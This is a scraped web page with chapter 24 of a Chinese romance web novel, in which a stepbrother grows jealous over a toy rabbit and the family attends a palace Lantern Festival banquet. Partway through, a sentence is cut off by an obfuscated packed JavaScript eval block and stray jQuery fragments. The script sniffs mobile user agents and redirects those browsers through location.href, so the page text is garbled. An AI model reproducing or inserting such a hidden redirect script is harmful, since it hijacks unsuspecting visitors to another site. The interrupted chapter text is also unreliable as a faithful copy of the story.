24. 情起

作品:《继兄折娶

    崔络坐在桌案前,把窗户打开透气。他翻了翻手里的书,精神总是不如方才好。


    “兄长,我进来了?”沈幼宜怕崔络等得急,匆忙撇下那两人便赶了过来。


    “进来吧。”崔络回神,清了清嗓音。


    沈幼宜趴在门边探了探头,哦了一声,进来后又自觉的把门关上。


    她面上带笑,四处望望:“兄长找我什么事啊?我看高竹挺急的。”


    崔络道:“不急,你先坐。”


    继兄面色严肃,像有大事要说一样,沈幼宜顿时坐直身子,正色道:“兄长说吧,我听着呢。”


    就在沈幼宜竖着耳朵,等了片刻后,就听继兄淡淡开口:“小兔子机关有意思吗?”


    啊?


    沈幼宜懵了,叫她过来就为了问这事?难道说继兄也觉得新奇想瞧瞧,但又拉不下脸,所以才拐着弯问她?


    她心里偷笑,咳了一声道:“挺有意思的,那个机关关键时候还能救命呢,平日里见张清舟吊儿郎当的,没想到他还有这等本事。兄长想看吗?待会儿我就取过来。”


    崔络脸色微变,继妹说这话时眼睛亮晶晶的,好像对那个张小郎君多有仰慕,一个白脸小子,竟就讨得了她的欢心?


    他沉声道:“没有。不入流的小玩意,我怕伤到了你。你若喜欢机关,回头我请工部的同僚给你做一个。”


    “不用不用,人家都是做大事的,给我做个玩的这不是大材小用吗?况且我就稀罕两天而已。”


    沈幼宜一边说一边细细观察继兄微妙的神色,懂了。


    他果然是不好意思,怕觉得玩这个不合身份,才故意说张清舟做的不入流,好掩盖自己的心思。否则他这样一个清风朗月的人,怎会突然诋毁别人?


    既如此,她就当不知道好了,待会儿偷偷叫人送过来。


    继妹眼波流转,做出一副很懂的表情,崔络皱眉,她懂什么了?


    想起方才的说笑声,他语气严厉几分:“男女有别,切记往后少跟张小郎君来往。”


    “嗯嗯嗯”继妹敷衍的应了几声,眼神游离,一看就没听清他说了什么。


    崔络黑了脸,摆摆手叫人下去了。


    只一刻钟后,继妹身边的婢女竟真把那个兔子机关送过来了。


    高竹不知世子爷怎又冷了脸,叫他把东西再给五娘子送回去。他吞了吞口水,这是什么新玩法吗?怎么听都没听过?


    ·


    今年元宵,惠德帝兴致好,特邀四品以上的大臣携带家眷入宫参加宫宴。


    崔老太君身子不爽利,只让大房和二房的人去,至于三房,崔三爷官职不够,次次宫宴都只能被剩在家里。


    每当这个时候,陆氏就恨的牙痒痒,嫌弃丈夫没出息,叫她也跟着没脸。又怨自己年轻时瞎了眼,被他一身好皮囊迷了心窍,哪知他就是个没用的草包。


    只她再怎么不满都没用,沈幼宜已经跟着母亲她们坐上了去宫里的马车。


    她不是第一回进宫了,但每次都会为宫里气派的宫殿所惊叹,但同样地,也会因那高高的宫墙和压人的规矩而有所压抑,对皇家生出一股敬畏之心。


    大殿里灯火辉煌,男女分席而立,女官们领着众人一一落座。排座也是个讲究事,崔家的女眷仅次于皇家宗亲之后。


    沈幼宜跟在母亲身后坐好,快速抬头扫了扫上方,惠德帝和李皇后以及一众嫔妃都还未到,端王妃景王妃以及做了熠王妃的卢家娘子端坐在上头闲聊。她又仔细瞅了瞅,还是没有做了端王侧妃的二姐姐。


    身侧的四姐姐崔雪珠小心推了推她,压低声音道:“别找了。二姐姐怀胎还不足三月,以防出什么意外,今晚肯定不会来的。”


    沈幼宜点点头,应是如此。否则依端王对二姐姐的宠爱,怎会不带她赴宴?


    自二姐姐嫁入端王府数月有余,迟迟未传出好消息,可把三叔母急的够呛,那段日子在府里闹出了不少动静,天天折腾怀孕的偏方。


    直到年前十一月底端王府传出喜讯,她才消停下来。在沈幼宜看来,二姐姐已经够快了,毕竟先她一个月嫁进熠王府的卢家娘子还没有任何消息。


    除了王爷们的家眷,坐在上头的她还认得安平公主。她身侧坐着一妙龄女郎,年岁看起来跟她差不了多少,沈幼宜没见过,却听安平公主叫她二妹。


    惠德帝子嗣不丰,仅有三子两女,那安平公主口中的二妹应就是熠王一母同胞的亲妹安乐公主了。听说她生来体弱多病,故很少在众人面前露面。


    她正打量着对方,安平公主突然看过来:“许久未见,崔五娘子真是出落地愈发招人喜欢了。”


    如今胞弟跟崔家成了姻亲,她也要比以往更亲近崔家的女眷。


    沈幼宜羞涩的笑笑,随即垂下眸子。陈清芷道:“公主殿下谬赞,您才是风采依旧。”


    两人互拍了顿马屁,李皇后带着徐贵妃已经其他几位高位妃子到了,她免了众人的礼,端庄落座。


    女官上前道:“娘娘,可以开宴了。陛下那里?”


    李皇后问:“陛下还在忙?”


    女官低下头:“是。淑妃还在里头陪着。”


    李皇后还未说什么,一旁的徐贵妃忍不住阴阳道:“真是个狐媚子,陛下也不知被她灌了什么迷魂汤?”


    “妹妹慎言。”李皇后一脸严厉,接着对女官道:“去跟内侍监说一声,提醒陛下时辰到了。”


    此刻的御书房内,勤政的惠德帝还在批折子,只连续看了几封,都是让他新年伊始立太子,好稳固江山社稷的。


    他越看心中越憋火,砰的一声将折子甩到了一旁,吓得里面伺候的人跪了一地。身旁红袖添香的淑妃拍了拍惠德帝的背,柔柔开口:“陛下喝盏茶吧,气大伤身,可千万要保重龙体。”


    惠德帝缓了缓心情,平复下来道:“你不问问折子上写了什么?朕因何生气?”


    “后宫不得干政,臣妾不敢逾矩,陛下就别拿臣妾取笑了吧?”淑妃嗔笑两声。


    惠德帝朗声大笑,忽地开口:“不算干政。宫里宫外都知道的事,又在催着朕立太子呢,爱妃有何想法?听说你最近常去皇后宫里小坐,朕倒不知你们何时如此要好了?”


    淑妃心里一沉,随即含情的水眸里蓄满了泪珠,她垂眸低低啜泣道:“臣妾可怜的皇儿早已无缘皇位,陛下是在戳臣妾的心窝子吗?皇后娘娘是后宫之主,臣妾理应常去侍奉左右。”


    这前一句话可谓直白到大逆不道,然惠德帝没一点不悦,他就喜


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14823629|157609||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    欢淑妃这性子。皇帝不语,淑妃有些忐忑,但仍旧维持着方才的姿势不变,她知道自己怎样最像她,最能得惠德帝的怜惜。


    果然皇帝将她扶了扶,叹口气,好笑道:“好了。朕不过跟你开个玩笑,有何好委屈的?都要做祖母的人了,真是愈发娇气。”


    淑妃顿时破涕为笑:“都是陛下养的好。”


    两人说笑间,内侍监来请人了。惠德帝带着淑妃进了内殿,众人跪下高呼万岁,他摆摆手道:“朕早说了,今日算家宴,众卿不必多礼,都坐下吧。”


    惠德帝来了,李皇后身边的女官去叫宫婢们传菜,接着教坊司的歌舞伎们一一入内助兴,今夜好一番君臣同乐。


    吃过席面,李皇后笑着道:“常听闻民间有猜灯谜的小游戏,臣妾叫人在观灯楼也准备了一番,今夜时辰尚早,不知陛下有兴同去吗?”


    惠德帝的确来了兴趣,拍拍李皇后的手:“皇后辛苦了,朕也一同去瞧瞧吧。”


    这样的小游戏帝后乃至老臣们都在旁边围观,没有要下场的打算,全交给了年轻的郎君和女郎们。


    初时众人要么顾忌几位王爷和公主们的面子,要么想卖个好,都压着性子放不开,生怕抢了哪位的风头,回头被穿了小鞋。


    惠德帝一眼看出,神情严肃:“要玩就拿出真本事来,都畏畏缩缩的做何?”


    皇子公主们不论是不如大臣之子,还是因输不起便迁怒旁人,这都是他不想看到的。龙子龙孙,怎能有如此小的气度?


    被惠德帝一警告,众人都不敢放水了,认真猜起谜来,赢了几盏灯的端王和景王也悄悄退了场。再继续下去,赢了是好事,输了却定要丢面子。


    没了这两尊大佛,众人更加放松,沉寂了一晚的崔络在看到一盏精巧的兔子宫灯时,终于出了回风头。


    宫婢看着纸张,念道:“不用裁为鸣凤管,不须截作钓鱼竿。千花百草凋零后,留向纷纷雪里看。打一植物,请应答。”


    她话刚落,众人还在思考,崔络脱口而出:“竹。”


    在场众人纷纷向他看去,一惯低调的崔世子突然高调起来,少不得叫人打量几眼。连惠德帝都好奇的问:“璟行莫不是有了心上人,这灯是拿去哄女郎的吧?你也不小了,若真有了心仪之人,大可说出来,朕为你赐婚。”


    角落里的王黛汐霎时面色惨白,她扶着婢女的手才勉强站稳,下一刻却听表哥道:“陛下别打趣璟行了。今日是舍妹生辰,我一时忙忘了还未送礼。她属兔,我这才想着弥补一二。”


    他说完便将那盏灯递给了沈幼宜,王黛汐的心情瞬间好转,一盏破灯她才不稀罕。况且表哥都忘了这个继妹的生辰礼,说明她在表哥心里也没什么地位。


    被塞了盏宫灯的沈幼宜呆呆的,不明白继兄为何又送她礼。


    崔络垂眸问:“喜欢吗?”


    “喜欢啊。”沈幼宜直点头,宫里的灯做的比外头还好看,雕的小兔子特别可爱。


    “嗯”崔络应了声,看着继妹明媚的笑脸,他脑子里忽地闪过一句话。


    跟张小郎君送的兔子比起来,更喜欢哪个?


    只下一刻他闭上了眼,定是自己今夜喝多了酒,才会有如此荒谬的念头,他做甚要跟个白脸小子比这个?